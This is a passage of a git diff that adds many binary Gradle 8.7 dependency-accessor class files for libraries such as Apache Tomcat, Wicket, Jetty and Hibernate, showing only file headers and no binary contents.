b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheMyfacesCoreMyfacesVersionAccessors.class new file mode 100644 index 0000000..53d88ba Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheMyfacesCoreMyfacesVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheMyfacesCoreVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheMyfacesCoreVersionAccessors.class new file mode 100644 index 0000000..45927ea Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheMyfacesCoreVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheMyfacesLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheMyfacesLibraryAccessors.class new file mode 100644 index 0000000..41f23a5 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheMyfacesLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheMyfacesVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheMyfacesVersionAccessors.class new file mode 100644 index 0000000..50a7acc Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheMyfacesVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheTomcatEmbedLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheTomcatEmbedLibraryAccessors.class new file mode 100644 index 0000000..40e3e47 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheTomcatEmbedLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheTomcatEmbedTomcatEmbedLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheTomcatEmbedTomcatEmbedLibraryAccessors.class new file mode 100644 index 0000000..173a82a Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheTomcatEmbedTomcatEmbedLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheTomcatEmbedTomcatEmbedVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheTomcatEmbedTomcatEmbedVersionAccessors.class new file mode 100644 index 0000000..a6805da Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheTomcatEmbedTomcatEmbedVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheTomcatEmbedTomcatLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheTomcatEmbedTomcatLibraryAccessors.class new file mode 100644 index 0000000..326596d Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheTomcatEmbedTomcatLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheTomcatEmbedTomcatVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheTomcatEmbedTomcatVersionAccessors.class new file mode 100644 index 0000000..29faa38 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheTomcatEmbedTomcatVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheTomcatEmbedVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheTomcatEmbedVersionAccessors.class new file mode 100644 index 0000000..36d9792 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheTomcatEmbedVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheTomcatLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheTomcatLibraryAccessors.class new file mode 100644 index 0000000..19f45d3 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheTomcatLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheTomcatTomcatLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheTomcatTomcatLibraryAccessors.class new file mode 100644 index 0000000..887be67 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheTomcatTomcatLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheTomcatTomcatVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheTomcatTomcatVersionAccessors.class new file mode 100644 index 0000000..c089982 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheTomcatTomcatVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheTomcatVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheTomcatVersionAccessors.class new file mode 100644 index 0000000..7fdb26f Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheTomcatVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheVersionAccessors.class new file mode 100644 index 0000000..24e5144 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheWicketLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheWicketLibraryAccessors.class new file mode 100644 index 0000000..e0ab61d Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheWicketLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheWicketVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheWicketVersionAccessors.class new file mode 100644 index 0000000..273c8e3 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheWicketVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheWicketWicketLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheWicketWicketLibraryAccessors.class new file mode 100644 index 0000000..341e30f Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheWicketWicketLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheWicketWicketVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheWicketWicketVersionAccessors.class new file mode 100644 index 0000000..6bdbfdb Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgApacheWicketWicketVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgAspectjLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgAspectjLibraryAccessors.class new file mode 100644 index 0000000..3d8c244 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgAspectjLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgAspectjVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgAspectjVersionAccessors.class new file mode 100644 index 0000000..cd7055f Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgAspectjVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgBeanshellLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgBeanshellLibraryAccessors.class new file mode 100644 index 0000000..a83df55 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgBeanshellLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgBeanshellVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgBeanshellVersionAccessors.class new file mode 100644 index 0000000..6d21374 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgBeanshellVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgClojureLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgClojureLibraryAccessors.class new file mode 100644 index 0000000..54edf50 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgClojureLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgClojureVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgClojureVersionAccessors.class new file mode 100644 index 0000000..f8343d3 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgClojureVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgCodehausGroovyLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgCodehausGroovyLibraryAccessors.class new file mode 100644 index 0000000..b834ff3 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgCodehausGroovyLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgCodehausGroovyVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgCodehausGroovyVersionAccessors.class new file mode 100644 index 0000000..016638a Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgCodehausGroovyVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgCodehausLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgCodehausLibraryAccessors.class new file mode 100644 index 0000000..b24dc23 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgCodehausLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgCodehausVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgCodehausVersionAccessors.class new file mode 100644 index 0000000..8a9ef15 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgCodehausVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgEclipseJettyJettyLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgEclipseJettyJettyLibraryAccessors.class new file mode 100644 index 0000000..406e0a4 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgEclipseJettyJettyLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgEclipseJettyJettyVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgEclipseJettyJettyVersionAccessors.class new file mode 100644 index 0000000..5265c1d Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgEclipseJettyJettyVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgEclipseJettyLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgEclipseJettyLibraryAccessors.class new file mode 100644 index 0000000..612c11a Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgEclipseJettyLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgEclipseJettyVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgEclipseJettyVersionAccessors.class new file mode 100644 index 0000000..9242605 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgEclipseJettyVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgEclipseLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgEclipseLibraryAccessors.class new file mode 100644 index 0000000..bffc9ed Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgEclipseLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgEclipseVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgEclipseVersionAccessors.class new file mode 100644 index 0000000..ff9ff35 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgEclipseVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgFusesourceJansiLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgFusesourceJansiLibraryAccessors.class new file mode 100644 index 0000000..2bd2923 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgFusesourceJansiLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgFusesourceJansiVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgFusesourceJansiVersionAccessors.class new file mode 100644 index 0000000..11011b3 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgFusesourceJansiVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgFusesourceLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgFusesourceLibraryAccessors.class new file mode 100644 index 0000000..5d1973f Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgFusesourceLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgFusesourceVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgFusesourceVersionAccessors.class new file mode 100644 index 0000000..3712f44 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgFusesourceVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgGlassfishLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgGlassfishLibraryAccessors.class new file mode 100644 index 0000000..810a022 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgGlassfishLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgGlassfishTyrusLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgGlassfishTyrusLibraryAccessors.class new file mode 100644 index 0000000..07dad6b Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgGlassfishTyrusLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgGlassfishTyrusTyrusLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgGlassfishTyrusTyrusLibraryAccessors.class new file mode 100644 index 0000000..7ed49dc Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgGlassfishTyrusTyrusLibraryAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgGlassfishTyrusTyrusVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgGlassfishTyrusTyrusVersionAccessors.class new file mode 100644 index 0000000..a684906 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgGlassfishTyrusTyrusVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgGlassfishTyrusVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgGlassfishTyrusVersionAccessors.class new file mode 100644 index 0000000..67be469 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgGlassfishTyrusVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgGlassfishVersionAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgGlassfishVersionAccessors.class new file mode 100644 index 0000000..4110c13 Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgGlassfishVersionAccessors.class differ diff --git a/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgHibernateHibernateLibraryAccessors.class b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgHibernateHibernateLibraryAccessors.class new file mode 100644 index 0000000..1c071ed Binary files /dev/null and b/.gradle/8.7/dependencies-accessors/525c6f5870ba43302c5969f432765d671d340d71/classes/org/gradle/accessors/dm/LibrariesForLibsInPluginsBlock$OrgHibernateHibernateLibraryAccessors.class differ diff --git 